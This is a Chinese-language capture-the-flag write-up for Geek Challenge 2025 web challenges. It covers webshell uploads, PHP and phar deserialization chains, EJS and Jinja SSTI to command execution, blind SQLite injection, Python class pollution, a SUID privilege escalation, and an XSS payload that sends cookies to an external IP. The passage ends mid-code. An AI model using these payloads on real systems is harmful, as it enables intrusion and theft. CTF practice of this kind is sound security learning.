week1
阿基里斯追乌龟
审 js 的题目:
/** * Encodes a JavaScript object to a Base64 string, with UTF-8 support. * @param {object} obj The object to encode. * @returns {string} The Base64 encoded string. */function encryptData(obj) { const jsonString = JSON.stringify(obj); return btoa(unescape(encodeURIComponent(jsonString)));}
/** * Decodes a Base64 string to a JavaScript object, with UTF-8 support. * @param {string} encodedString The Base64 encoded string. * @returns {object} The decoded object. */function decryptData(encodedString) { const jsonString = decodeURIComponent(escape(atob(encodedString))); return JSON.parse(jsonString);}
document.addEventListener('DOMContentLoaded', () => { const chaseBtn = document.getElementById('chase-btn'); const achillesDistanceSpan = document.getElementById('achilles-distance'); const tortoiseDistanceSpan = document.getElementById('tortoise-distance'); const resultDiv = document.getElementById('result');
let achillesPos = 0; let tortoisePos = 10000000000; // Initial head start for the tortoise
achillesDistanceSpan.textContent = achillesPos.toFixed(2); tortoiseDistanceSpan.textContent = tortoisePos.toFixed(2);
chaseBtn.addEventListener('click', () => { // Achilles moves to the tortoise's current position const achillesMoveDistance = tortoisePos - achillesPos; achillesPos = tortoisePos;
// The tortoise moves 1/10th of the distance Achilles just covered const tortoiseMoveDistance = achillesMoveDistance / 10; tortoisePos += tortoiseMoveDistance;
achillesDistanceSpan.textContent = achillesPos.toFixed(2); tortoiseDistanceSpan.textContent = tortoisePos.toFixed(2);
const payload = { achilles_distance: achillesPos, tortoise_distance: tortoisePos, };
fetch('/chase', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ "data": encryptData(payload) }), }) .then(response => response.json()) .then(encryptedResponse => { if (encryptedResponse.data) { const data = decryptData(encryptedResponse.data); if (data.flag) { // Use 'pre-wrap' to respect newlines in the fake flag message resultDiv.style.whiteSpace = 'pre-wrap'; resultDiv.textContent = `你追上它了!\n${data.flag}`; chaseBtn.disabled = true; } else if (data.message) { resultDiv.textContent = data.message; } } else { console.error('Error:', encryptedResponse.error); resultDiv.textContent = `发生错误: ${encryptedResponse.error}`; } }) .catch(error => { console.error('Error:', error); resultDiv.textContent = '发生错误。'; }); });});审计代码,发现网站接收一个 json 串,对其中 data 字段的值进行 Base64 解码,如果内容中包含阿基里斯的距离和乌龟的距离,并且阿基里斯的距离比乌龟大的话,就会返回 Base64编码的 flag。
因此,我们的目标就是使用 POST 方法传入一个 json 串,伪造数据使阿基里斯的距离比乌龟大。
payload 为:
{"data":"eyJhY2hpbGxlc19kaXN0YW5jZSI6OTAwMDAwMDAwMDAsInRvcnRvaXNlX2Rpc3RhbmNlIjoxMDAwMDAwMDAwMH0="}对返回内容进行 Base64 解码即可获得 flag
Vibe SEO
根据提示,我们猜测服务器中可能有静态目录可以访问。于是,我们先用 dirsearch 扫一遍,果然发现 /sitemap.xml 文件。访问文件,发现 /aa__^^.php 文件。访问文件,发现警告与报错信息:

警告的主要内容是说 filename 变量没有赋值,报错的主要内容是 readfile() 函数中的路径参数不能为空
我们尝试利用脚本直接读取脚本文件,看看能不能获得源码。传入 filename=aa__^^.php,成功得到源码:
<?php$flag = fopen('/my_secret.txt', 'r');if (strlen($_GET['filename']) < 11) { readfile($_GET['filename']);} else { echo "Filename too long";}?>flag 在 /my_secret.txt 文件中,但是服务器限制了 filename 参数的值的长度必须小于 11
代码第一行打开了该文件,并且在 readfile() 函数之前并未关闭文件,因此 readfile() 函数可以通过读取数据流的方式读取文件,因此我们尝试使用 php 伪协议读取数据流
传入:
?filename=php://fd/{{n}}
并未读取到 flag …没什么想法了,又去查了很多资料,发现可以不借助 php 伪协议,而直接读取 /dev/fd/ 目录,并且此时会比 php 伪协议短一个字符,可以尝试的 n 更多。
关于 /dev/fd/
/dev/fd/是一个虚拟文件系统,它提供了访问当前进程已打开文件描述符的接口。
传入:
?filename=/dev/fd/{{n}}最终成功获得 flag。

one_last_image
打开网站,是一个文件上传的面板。尝试上传一个写着一句话木马的 php 文件后,发现被 waf 了
打开 Yakit 抓包,尝试修改内容测试网站 waf 了什么字符。测试后,网站过滤了 php 字符,可以使用 <?=@eval($_POST['cmd']); ?> 绕过
尝试后,发现 PIL 库报错,提示无法正确解析图片的内容。
Error during image processing: cannot identify image file '/var/www/html/uploads/5db44148-b26a-48ea-97eb-57bae575ddca.png'Traceback (most recent call last): File "/var/www/html/one_last_image.py", line 140, in main draw_colorful(color_size=color_size,input_path=input_path,output_path=output_path,mode=dark_mode) ~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/var/www/html/one_last_image.py", line 98, in draw_colorful draw_list = get_image_line(color_size, input_path) File "/var/www/html/one_last_image.py", line 61, in get_image_line im_raw = Image.open(file) File "/usr/local/lib/python3.13/dist-packages/PIL/Image.py", line 3560, in open raise UnidentifiedImageError(msg)PIL.UnidentifiedImageError: cannot identify image file '/var/www/html/uploads/5db44148-b26a-48ea-97eb-57bae575ddca.png'做到这里,我进入了一个很大的误区:我以为图片的内容必须要正常,这样才能被正常上传。因此我尝试了图片马、PIL 库的漏洞、png 的 IDAT 木马,都没有成功…
IDAT 隐写会被网站重新编辑,使得 webshell 不复存在;PIL 库漏洞因为网站关闭了 GhostScript 因此没办法执行;图片马同样无法正常解析,因此按照先前逻辑依然无法正常执行。
所以,这一题的关键并不在 PIL 库的报错,而是在于报错信息透露出的逻辑:
先使用 php 对文件进行上传操作,使文件上传到服务器,然后返回一个路径传给 PIL 库,然后 PIL 库再对文件进行操作,然后返回一个 output 路径给浏览器。
因此,网站始终没有对上传成功的文件进行删除操作,所以只需要访问报错信息中 input 路径下的图片,就可以进行 RCE。
因此,上传一个内容为 <?=@eval($_POST['cmd']);?> 的文件,访问文件,连接蚁剑,访问环境变量,即可获得 flag。
popself
<?phpshow_source(__FILE__);
error_reporting(0);class All_in_one{ public $KiraKiraAyu; public $_4ak5ra; public $K4per; public $Samsāra; public $komiko; public $Fox; public $Eureka; public $QYQS; public $sleep3r; public $ivory; public $L;
public function __set($name, $value){ echo "他还是没有忘记那个".$value."<br>"; echo "收集夏日的碎片吧<br>";
$fox = $this->Fox;
if ( !($fox instanceof All_in_one) && $fox()==="summer"){ echo "QYQS enjoy summer<br>"; echo "开启循环吧<br>"; $komiko = $this->komiko; $komiko->Eureka($this->L, $this->sleep3r); } }
public function __invoke(){ echo "恭喜成功signin!<br>"; echo "welcome to Geek_Challenge2025!<br>"; $f = $this->Samsāra; $arg = $this->ivory; $f($arg); } public function __destruct(){
echo "你能让K4per和KiraKiraAyu组成一队吗<br>";
if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) { if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){ die("boys和而不同<br>"); }
if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){ echo "BOY♂ sign GEEK<br>"; echo "开启循环吧<br>"; $this->QYQS->partner = "summer"; } else { echo "BOY♂ can`t sign GEEK<br>"; echo md5(md5($this->KiraKiraAyu))."<br>"; echo md5($this->K4per)."<br>"; } } else{ die("boys堂堂正正"); } }
public function __tostring(){ echo "再走一步...<br>"; $a = $this->_4ak5ra; $a(); }
public function __call($method, $args){ if (strlen($args[0])<4 && ($args[0]+1)>10000){ echo "再走一步<br>"; echo $args[1]; } else{ echo "你要努力进窄门<br>"; } }}
class summer { public static function find_myself(){ return "summer"; }}$payload = $_GET["24_SYC.zip"];
if (isset($payload)) { unserialize($payload);} else { echo "没有大家的压缩包的话,瓦达西!<br>";}?>这是一道反序列化的题目
pop 链为:a -> __deestruct() => a -> __set() => a -> __call() => a -> __tostring() => a -> __invoke()
其中,在 __destruct() 魔术方法中,需要绕过 md5 加密。需要 kirakiraayu 属性的值的双重 md5 加密后的结果与 k4per 属性值 md5 加密后的结果强比较不同但是弱比较相同。由于弱比较时对于科学计数法表示的字符串会强制转化为数字,因此我们可以构造 0e 开头、后面为纯数字的字符串绕过
在 __call() 魔术方法中,需要一个转化为字符串后长度小于 4 但是数字加 1 之后大于 10000 的数字,我们可以传入科学计数法绕过
最后,传入序列化字符串时,参数名中出现了下划线和点,这里需要非法传参绕过:php8 以下,传入的参数名的第一个 [ 字符会转化为下划线,之后的点号会正常传入;否则,点号会被转化为下划线
生成双重 md5 加密后符合要求的字符串的脚本:
import hashlib # 导入哈希库(用于计算MD5)import itertools # 导入迭代工具(用于生成密码组合)import string # 导入字符串工具(用于获取字母数字字符集)
def get_hash(h): """清理哈希值,只保留十六进制字符(0-9,a-f) 对应PHP的:preg_replace("/[^0-9a-f]/","",$hash)""" return ''.join(c for c in h if c in '0123456789abcdef')
def encode(pwd): """双重MD5哈希函数 对应PHP的:md5(md5($str))""" # 第一层MD5哈希 first_md5 = hashlib.md5(pwd.encode()).hexdigest() # 第二层MD5哈希并清理结果 return get_hash(hashlib.md5(first_md5.encode()).hexdigest())
def find_magic_hash(max_length=6): """查找魔术哈希的主函数 max_length: 尝试的密码最大长度(默认6位)"""
# 定义搜索的字符集(所有字母+数字) chars = string.ascii_letters + string.digits
print("正在搜索魔术哈希...")
# 遍历所有可能的密码长度(从1到max_length) for length in range(1, max_length + 1): # 生成所有可能的字符组合(笛卡尔积) for candidate in itertools.product(chars, repeat=length): # 将元组组合转为字符串 pwd = ''.join(candidate) # 计算该密码的哈希值 hashed = encode(pwd)
# 检查:是否符合魔术哈希模式(0e开头后面全是数字) # PHP弱类型比较中,这类哈希会被视为0 if hashed.startswith('0e') and hashed[2:].isdigit(): print(f"找到魔术哈希: {pwd} -> {hashed}") # 在PHP的==比较中,这将通过验证 return pwd
print("在搜索范围内未找到魔术哈希") return None
if __name__ == "__main__": # 执行查找 found = find_magic_hash() if found: # 输出可用于登录的密码 print(f"hash 值: {found}")生成最终 payload 的代码为:
<?phpclass All_in_one { public $KiraKiraAyu = "f2WfQ"; public $K4per = "240610708"; public $Fox = array("summer", 'find_myself'); public $Eureka = 'a'; public $L = "1e9"; public $Samsāra = "system"; public $ivory = "env";
public $QYQS; public $komiko; public $sleep3r; public $_4ak5ra;}
$a = new All_in_one();$a -> QYQS = $a;$a -> komiko = $a;$a -> sleep3r = $a;$a -> _4ak5ra = $a;echo serialize($a);echo "\n";echo urlencode(serialize($a));?>Expression
打开网站,有两个选项:登录和注册。登录使用的是邮箱,没有什么弱口令爆破的思路,因此我们选择注册
注册成功后,观察到回显了 user 的值。根据题目描述,我们注意到 token 的值可能是 jwt
打开一个 jwt 测试网站,得到解密后的信息:

发现 username 里面的值被回显了;多测试几个邮箱,利用 HS256 算法,计算出密钥为 secret
后端使用的是 Express 框架,因此可能存在 Node.js 环境下的 ejs 的 ssti 漏洞。我们修改 username 的值为 <%=7*7%>,成功回显 49

因此,我们注入
<%=global.process.mainModule.require('child_process').execSync('env').toString();%>成功获得 flag。
关于注入语句的详解:
global 是获得当前程序的全局命名空间,process 是 Node.js 的全局对象,可以控制程序运行,process.mainModule 属性返回一个 Module 对象,表示程序的入口点require 是调用主模块,child_process 模块是用来启动子进程的,execSync() 是 child_process 模块中的一个方法,可以同步执行一个 shell 命令
由于 execSync() 方法返回的是一个 Buffer 对象,因此使用 tostring() 方法将其转化为可读字符串
Xross The Finish Line
打开网站,发现一个留言板,留言板还可以让管理员查看,因此,我们想到可能是 xss 注入
经过测试,网站 waf 了 <script> <img> 标签、空格、引号,因此,我们测试 <body/onload=alert(1)></body>,发现成功获得弹窗信息 1
引号可以使用实体进行绕过:" 或 "。
传入:
<body/onload=location.href="http://47.121.187.138:2333?cookie="+encodeURIComponent(document.cookie)></body>有一点需要注意,由于使用了 location.href,因此网站会重定向到目标网址,以此在自己的服务器服务器端读取到请求。因此,在注入后,需要手动访问 ?report=1 来让管理员访问,否则自己的服务器只会接收到用户的请求,而不是管理员的请求。

week2
Sequal No Uta
打开网站,发现网站根据传入的 name 的值查询信息是否存在,如果存在,就回显该用户存在且活跃;如果不存在,就回显未找到用户或已停用
尝试传入 1'or 1=1--+,回显非法输入。经过测试,网站 waf 了空格,因此再次尝试注入 1'or%091=1--%09,回显该用户存在且活跃,因此判断有 SQL 注入漏洞
根据题目描述,猜测为 SQLite 数据库
因此我们尝试注入
1'or%09substr((select%09group_concat(sql)%09from%09sqlite_master),1,1)<'a'--%09回显该用户存在且活跃,因此确定为 SQLite 数据库的 SQL 注入
因此,编写脚本进行布尔盲注:
import requestsimport logging
URL = "http://019a3a2a-8f55-7eff-88ae-6809d36f524b.geek.ctfplus.cn/check.php"logging.basicConfig(level=logging.INFO, format="%(asctime)s - %(levelname)s - %(message)s")result_f = '该用户存在且活跃'
def scrape(params): try: response = requests.get(URL, params=params) if response.status_code == 200: if response: return response.text logging.error("未获得响应,解析失败!") return None logging.error("爬取网页 %s 时失败,返回 %d 状态码!", params['name'], response.status_code) return None except requests.RequestException: logging.error(f"无法爬取 {params['name']} ...") return None
def blast_name(result_f): # 爆破名称 name = "" for pos in range(1, 250): low, high = 32, 126 while low <= high: mid = (low + high) // 2 injection = {'name': f"""1'or\tsubstr((select\tgroup_concat(sql)\tfrom\tsqlite_master),{pos},1)='{chr(mid)}'--\t"""} if scrape(injection) == None: break if scrape(injection) == result_f: break injection = {'name': f"""1'or\tsubstr((select\tgroup_concat(sql)\tfrom\tsqlite_master),{pos},1)<'{chr(mid)}'--\t"""} if scrape(injection) == result_f: high = mid - 1 else: low = mid + 1 logging.info(chr(mid)) name += chr(mid) return name
logging.info(blast_name(result_f))获得回显:
CREATE TABLE users ( id IhTEGER PRIMARY KEY AUTOINCREMENT, username TEXT UNIQUC OOm77gI77777 password TEXT NOT NULL, is_active INTEGER NOT NULL DEFAULT 1, secret TEXT ),CREATE TABLE sqlite_sequence(name,seq)发现了 secret 列的信息只有文本,可能含有 flag 信息,因此修改代码,尝试读取 secret 列的信息:
def blast_name(result_f): # 爆破名称 name = "" for pos in range(1, 250): low, high = 32, 126 while low <= high: mid = (low + high) // 2 injection = {'name': f"""1'or\tsubstr((select\tgroup_concat(secret)\tfrom\tusers),{pos},1)='{chr(mid)}'--\t"""} if scrape(injection) == None: break if scrape(injection) == result_f: break injection = {'name': f"""1'or\tsubstr((select\tgroup_concat(secret)\tfrom\tusers),{pos},1)<'{chr(mid)}'--\t"""} if scrape(injection) == result_f: high = mid - 1 else: low = mid + 1 if scrape(injection) == None: break logging.info(chr(mid)) name += chr(mid) return name成功获得 flag
ez_read
打开网站,发现了有两个接口,登录和注册。在注册中尝试注入 {{7*7}},发现登录后回显了 49,证明存在 ssti 漏洞。但是经过测试,网站 waf 了左括号
网上查了相关资料后发现,waf 了小括号的 ssti 漏洞只能读取 config 信息,但是读取后也没发现什么有用的信息,因此寻找其他线索
登录后又发现了一个新的接口,读取故事。随便看看现有的几个文件,在 3.txt 中发现了 hint,内容为 坚持下坚持下去去,结构有些奇怪
我们先尝试目录穿越漏洞,但是发现网站似乎删除了 ../。那很明白了,hint 在提醒我们双写绕过
这里出现了非预期,文件可以直接从根目录开始读,但是这里展示预期解
因此,我们传入 ....//....//....//proc/self/cmdline,发现网站运行了 app.py 文件,因此我们继续传入 ....//....//....//proc/self/cwd/app.py,成功获得源码。
关于 /proc
/proc文件系统是 linux 系统中的一种虚拟文件系统,以文件系统目录和文件形式,提供一个指向内核数据结构的接口,通过它能够查看和改变各种系统属性
/proc/self 是一个 link,当进程访问此链接时,就会访问这个进程本身的 /proc/pid 目录关于 /proc/pid
每一个运行的进程都存在 pid,对应的在 /proc 就存在一个 /proc/pid 的目录,这个 /proc/pid 目录也是一个伪文件系统。通常情况下每个 /proc/pid 是属于运行进程的有效用户的 UID 和 GID
/proc/pid/cmdline 这个只读文件是包含了进程执行的完整命令。如果此进程是一个僵尸进程,那么次文件没有任何的内容
/proc/pid/cwd 是一个当前的进程的工作目录
源码:
from flask import Flask, request, render_template, render_template_string, redirect, url_for, sessionimport os
app = Flask(__name__, template_folder="templates", static_folder="static")app.secret_key = "key_ciallo_secret"
USERS = {}
def waf(payload: str) -> str: print(len(payload)) if not payload: return ""
if len(payload) not in (114, 514): return payload.replace("(", "") else: waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"] for w in waf: if w in payload: raise ValueError(f"waf")
return payload
@app.route("/")def index(): user = session.get("user") return render_template("index.html", user=user)
@app.route("/register", methods=["GET", "POST"])def register(): if request.method == "POST": username = (request.form.get("username") or "") password = request.form.get("password") or "" if not username or not password: return render_template("register.html", error="用户名和密码不能为空") if username in USERS: return render_template("register.html", error="用户名已存在") USERS[username] = {"password": password} session["user"] = username return redirect(url_for("profile")) return render_template("register.html")
@app.route("/login", methods=["GET", "POST"])def login(): if request.method == "POST": username = (request.form.get("username") or "").strip() password = request.form.get("password") or "" user = USERS.get(username) if not user or user.get("password") != password: return render_template("login.html", error="用户名或密码错误") session["user"] = username return redirect(url_for("profile")) return render_template("login.html")
@app.route("/logout")def logout(): session.clear() return redirect(url_for("index"))
@app.route("/profile")def profile(): user = session.get("user") if not user: return redirect(url_for("login")) name_raw = request.args.get("name", user)
try: filtered = waf(name_raw) tmpl = f"欢迎,{filtered}" rendered_snippet = render_template_string(tmpl) error_msg = None except Exception as e: rendered_snippet = "" error_msg = f"渲染错误: {e}" return render_template( "profile.html", content=rendered_snippet, name_input=name_raw, user=user, error_msg=error_msg, )
@app.route("/read", methods=["GET", "POST"])def read_file(): user = session.get("user") if not user: return redirect(url_for("login"))
base_dir = os.path.join(os.path.dirname(__file__), "story") try: entries = sorted([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))]) except FileNotFoundError: entries = []
filename = "" if request.method == "POST": filename = request.form.get("filename") or "" else: filename = request.args.get("filename") or ""
content = None error = None
if filename: sanitized = filename.replace("../", "") target_path = os.path.join(base_dir, sanitized) if not os.path.isfile(target_path): error = f"文件不存在: {sanitized}" else: with open(target_path, "r", encoding="utf-8", errors="ignore") as f: content = f.read()
return render_template("read.html", files=entries, content=content, filename=filename, error=error, user=user)
if __name__ == "__main__": app.run(host="0.0.0.0", port=8080, debug=False)在 waf 函数中,我们发现网站检测输入字符的长度:如果输入长度等于 114 或 514,就不再删去左括号;关键字的 waf 可以通过字符串拼接绕过。因此,我们注入:
{{''['__cla'+'ss__']['__ba'+'se__']['__sub'+'classes__']()}}生成注入字符串的代码为:
injection = "{{''['__cla'+'ss__']['__ba'+'se__']['__sub'+'classes__']()[142]}}"t = len(injection)
if t < 114: l = 114else: l = 514for _ in range(l - t): injection += 'a'print(injection)得到回显,发现支持 popen 方法的库在索引为 142 的位置。因此,我们继续注入:
{{''['__cla'+'ss__']['__ba'+'se__']['__sub'+'classes__']()[142].__init__['__glo'+'bals__']['popen']('ls /').read()}}发现 flag 文件,却在读取时,发现没有回显。我们尝试执行 env 命令,也没有发现 flag,但是发现了一个 hint,内容为:用我提个权吧。
因此,我们需要提权。先使用 find / -perm -u=s -type f 2>/dev/null 查找具有 SUID 权限的文件:
/usr/bin/su/usr/bin/gpasswd/usr/bin/chfn/usr/bin/chsh/usr/bin/umount/usr/bin/newgrp/usr/bin/passwd/usr/bin/mount/usr/local/bin/env发现 /usr/local/bin/env 文件有些奇怪,再结合刚刚的 hint,猜测就是使用这个文件进行提权。
因此,我们执行 /usr/local/bin/env cat /flag,成功获得 flag。
百年继承
打开网站,按照提示过一遍流程后,得到如下信息:
上校已创建。上校继承于他的父亲,他的父亲继承于人类时间流逝:卷入武装起义:命运与战争交织。时间流逝:抉择时刻:上校需要做出选择(武器与策略)。事件:上校使用 spear,采取 ambush 策略。世界线变动...(上校的weapon属性被赋值为spear,tactic属性被赋值为ambush)时间流逝:宿命延续:行军与退却。时间流逝:面对行刑队:命运的审判即将到来。行刑队:开始执行判决。行刑队也继承于人类临死之前,上校目光瞄着行刑队的佩剑,上面分明写着:lambda executor, target: (target.__del__(), setattr(target, 'alive', False), '处决成功')这是人类自古以来就拥有的execute_method属性...处决成功时间流逝:结局:命运如沙漏般倾泻……并且,其中有一步可以传入 json 串。根据 lambda 表达式,判断后端使用语言为 python,并且信息中包含很多类的继承关系,判断可能是打原型链污染。
梳理出的类的关系可能如下:
class human:
execute_method = lambda executor, target: (target.__del__(), setattr(target, 'alive', False), '处决成功')
class father(human):
def __init__(self): super().__init__()
class Colonel(father):
def __init__(self): super().__init__() self.weapon = '' self.tactic = '' self.alive = True
def make_choice(self, input): merge(json.loads(input), self)
class ExecutionSquad(human):
def __init__(self): super().__init__()而最后一步回显”处决成功”很有可能是调用了匿名函数的结果,并且调用时传入的 target 参数很有可能是 Colonel 类。因此,我们尝试污染 Colonel 的 __del__ 魔术方法。
我们传入
{"__del__" : "lambda : __import__('os').popen('ls').read()"}回显”处决异常”,说明匿名函数只回显最后一部分。查看 hint:
execute_method 为字符串明白了,原来程序里面肯定有类似 eval(实例化对象.execute_method) 的语句。因此,我们只需要修改整个字符串,将其修改为相似的 lambda 表达式即可。
因此传入:
{"__class__":{"__base__":{"__base__":{"execute_method":"lambda a,b:(1,2,__import__('os').popen('ls /').read())"}}}}获得回显:
lambda a,b:(1,2,__import__('os').popen('dir').read())这是人类自古以来就拥有的execute_method属性...处决异常说明修改已经成功了,但是却回显处决异常,推测程序中可能会检查表达式第一个回显和第二个返回值,只有这两个返回值符合某些条件时才回显第三个返回值。
因此,我们再次微调 payload:
{"__class__":{"__base__":{"__base__":{"execute_method":"lambda a, b: (b.__del__(), setattr(b, 'alive', False), __import__('os').popen('env').read())"}}}}依然回显处决异常。那我没办法了,甚至不知道哪里出问题了。
没办法,直接在原来的表达式上修改:
{"__class__":{"__base__":{"__base__":{"execute_method":"lambda executor, target: (target.__del__(), setattr(target, 'alive', False), __import__('os').popen('env').read())"}}}}成功获得 flag
ez-seralize
打开网站,是一个读文件的页面。通过抓包,发现后端语言为 PHP,因此先尝试读取 index.php 文件,获得回显:
<?phpini_set('display_errors', '0');$filename = isset($_GET['filename']) ? $_GET['filename'] : null;
$content = null;$error = null;
if (isset($filename) && $filename !== '') { $balcklist = ["../","%2e","..","data://","\n","input","%0a","%","\r","%0d","php://","/etc/passwd","/proc/self/environ","php:file","filter"]; foreach ($balcklist as $v) { if (strpos($filename, $v) !== false) { $error = "no no no"; break; } }
if ($error === null) { if (isset($_GET['serialized'])) { require 'function.php'; $file_contents= file_get_contents($filename); if ($file_contents === false) { $error = "Failed to read seraizlie file or file does not exist: " . htmlspecialchars($filename); } else { $content = $file_contents; } } else { $file_contents = file_get_contents($filename); if ($file_contents === false) { $error = "Failed to read file or file does not exist: " . htmlspecialchars($filename); } else { $content = $file_contents; } } }} else { $error = null;}?>审计源码,发现使用了 file_get_contents() 函数,但是用黑名单限制了任意读文件。同时当传入 serialized 参数,会包含一个 function.php 文件。
我们再次读取这个文件:传入 function.php,获得回显:
<?phpclass A { public $file; public $luo;
public function __construct() { }
public function __toString() { $function = $this->luo; return $function(); }}
class B { public $a; public $test;
public function __construct() { }
public function __wakeup() { echo($this->test); }
public function __invoke() { $this->a->rce_me(); }}
class C { public $b;
public function __construct($b = null) { $this->b = $b; }
public function rce_me() { echo "Success!\n"; system("cat /flag/flag.txt > /tmp/flag"); }}?>审计源码,发现了 C 类中 rce_me() 方法执行了命令获得了 flag,并且可以构造 pop 链执行该方法,并且读取文件的黑名单中没有禁用 phar:// 伪协议,因此我们猜测这题的考点是 phar 反序列化。但是还差一个 phar 文件,我们从哪获得呢?
没什么想法了,于是扫描接口,发现了 uploads.php 接口,于是继续读取源码:
<?php$uploadDir = __DIR__ . '/uploads/';if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true);}$whitelist = ['txt', 'log', 'jpg', 'jpeg', 'png', 'zip','gif','gz'];$allowedMimes = [ 'txt' => ['text/plain'], 'log' => ['text/plain'], 'jpg' => ['image/jpeg'], 'jpeg' => ['image/jpeg'], 'png' => ['image/png'], 'zip' => ['application/zip', 'application/x-zip-compressed', 'multipart/x-zip'], 'gif' => ['image/gif'], 'gz' => ['application/gzip', 'application/x-gzip']];
$resultMessage = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $file = $_FILES['file'];
if ($file['error'] === UPLOAD_ERR_OK) { $originalName = $file['name']; $ext = strtolower(pathinfo($originalName, PATHINFO_EXTENSION)); if (!in_array($ext, $whitelist, true)) { die('File extension not allowed.'); }
$mime = $file['type']; if (!isset($allowedMimes[$ext]) || !in_array($mime, $allowedMimes[$ext], true)) { die('MIME type mismatch or not allowed. Detected: ' . htmlspecialchars($mime)); }
$safeBaseName = preg_replace('/[^A-Za-z0-9_\-\.]/', '_', basename($originalName)); $safeBaseName = ltrim($safeBaseName, '.'); $targetFilename = time() . '_' . $safeBaseName;
file_put_contents('/tmp/log.txt', "upload file success: $targetFilename, MIME: $mime\n");
$targetPath = $uploadDir . $targetFilename; if (move_uploaded_file($file['tmp_name'], $targetPath)) { @chmod($targetPath, 0644); $resultMessage = '<div class="success"> File uploaded successfully '. '</div>'; } else { $resultMessage = '<div class="error"> Failed to move uploaded file.</div>'; } } else { $resultMessage = '<div class="error"> Upload error: ' . $file['error'] . '</div>'; }}?>审计源码后,发现可以上传文件,因此想到 phar 反序列化。同时,网站通过时间对文件进行重命名,但这可以通过读取 /tmp/log.txt 文件获得文件名。
要构造的 pop 链为:b1 -> test => a -> luo => b2 -> a => c。构造 phar 文件的 php 代码为:
<?phpclass A { public $file; public $luo;}
class B { public $a; public $test;}
class C { public $b;}
$c = new C();$b2 = new B();$b2 -> a = $c;$a = new A();$a -> luo = $b2;$b1 = new B();$b1 -> test = $a;
$phar=new phar('test.phar');//后缀名必须为 phar$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER();?>"); // 设置 stub$phar->setMetadata($b1);//自定义的 meta-data 存入 manifest$phar->addFromString("flag.txt","flag");//添加要压缩的文件//签名自动计算$phar->stopBuffering();?>将 phar 文件后缀修改为白名单中的 txt 文件,上传,读取 /tmp/log.txt 获取文件名:

使用 GET 方法传入
?serialized=a&filename=phar://uploads/1764143150_phar.txt发现回显 Success!。
读取 /tmp/flag,成功获得 flag
eeeeezzzzzzZip
打开网站,发现要求输入用户名与密码,尝试 SQL 注入与弱密码爆破后,都没有成功。没什么想法了,于是扫描一下接口,发现了 www.zip 接口,解压缩后有三个文件:
<?phpsession_start();error_reporting(0);
if (!isset($_SESSION['user'])) { header("Location: login.php"); exit;}
$salt = 'GeekChallenge_2025';if (!isset($_SESSION['dir'])) { $_SESSION['dir'] = bin2hex(random_bytes(4));}$SANDBOX = sys_get_temp_dir() . "/uploads_" . md5($salt . $_SESSION['dir']);if (!is_dir($SANDBOX)) mkdir($SANDBOX, 0700, true);// 读取文件时已经加上了文件目录
$files = array_diff(scandir($SANDBOX), ['.', '..']);$result = '';if (isset($_GET['f'])) { $filename = basename($_GET['f']); $fullpath = $SANDBOX . '/' . $filename; if (file_exists($fullpath) && preg_match('/\.(zip|bz2|gz|xz|7z)$/i', $filename)) { // 正则匹配的白名单过滤 ob_start(); @include($fullpath); // 漏洞点 $result = ob_get_clean(); } else { $result = "文件不存在或非法类型。"; }}?><?phpsession_start();
$err = '';if ($_SERVER['REQUEST_METHOD'] === 'POST') { $u = $_POST['user'] ?? ''; $p = $_POST['pass'] ?? ''; if ($u === 'admin' && $p === 'guest123') { // 登录的用户名与密码 $_SESSION['user'] = $u; header("Location: index.php"); exit; } else { $err = '登录失败:用户名或密码错误'; }}?><?php// 说明:已修复前端 JS 的语法错误并增强上传完成后的 UI 行为session_start();error_reporting(0);
// 文件后缀名与 MINE 的白名单$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];$allowed_mime_types = [ 'application/zip', 'application/x-bzip2', 'application/gzip', 'application/x-gzip', 'application/x-xz', 'application/x-7z-compressed',];
// 对内容的黑名单限制。只看这个黑名单限制,绕过有些困难$BLOCK_LIST = [ "__HALT_COMPILER()", "PK", // 文件头限制了 zip 文件 "<?", "<?php", "phar://", "php", "?>"];
// 这个函数只对文件的前 4096 与后 4096 个字节进行了检查,而没有对中间的内容进行检查// 因此我们可以在中间加入危险内容function content_filter($tmpfile, $block_list) { $fh = fopen($tmpfile, "rb"); if (!$fh) return true; $head = fread($fh, 4096); fseek($fh, -4096, SEEK_END); $tail = fread($fh, 4096); fclose($fh); $sample = $head . $tail; $lower = strtolower($sample); foreach ($block_list as $pat) { if (stripos($sample, $pat) !== false) { // 为避免泄露过多信息,这里不直接 echo sample(你之前有 echo,保持注释) return false; } if (stripos($lower, strtolower($pat)) !== false) { return false; } } return true;}
if (!isset($_SESSION['dir'])) { $_SESSION['dir'] = bin2hex(random_bytes(4));}$salt = 'GeekChallenge_2025';$SANDBOX = sys_get_temp_dir() . "/uploads_" . md5($salt . $_SESSION['dir']);if (!is_dir($SANDBOX)) mkdir($SANDBOX, 0700, true);
if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (!isset($_FILES['file'])) { http_response_code(400); die("No file."); }
// 对文件后缀名及 MINE 的一系列检查 $tmp = $_FILES['file']['tmp_name']; $orig = basename($_FILES['file']['name']); if (!is_uploaded_file($tmp)) { http_response_code(400); die("Upload error."); }
$ext = strtolower(pathinfo($orig, PATHINFO_EXTENSION)); if (!in_array($ext, $allowed_extensions)) { http_response_code(400); die("Bad extension."); }
$finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $tmp); finfo_close($finfo); if (!in_array($mime, $allowed_mime_types)) { http_response_code(400); die("Bad mime."); }
if (!content_filter($tmp, $BLOCK_LIST)) { http_response_code(400); die("Content blocked."); }
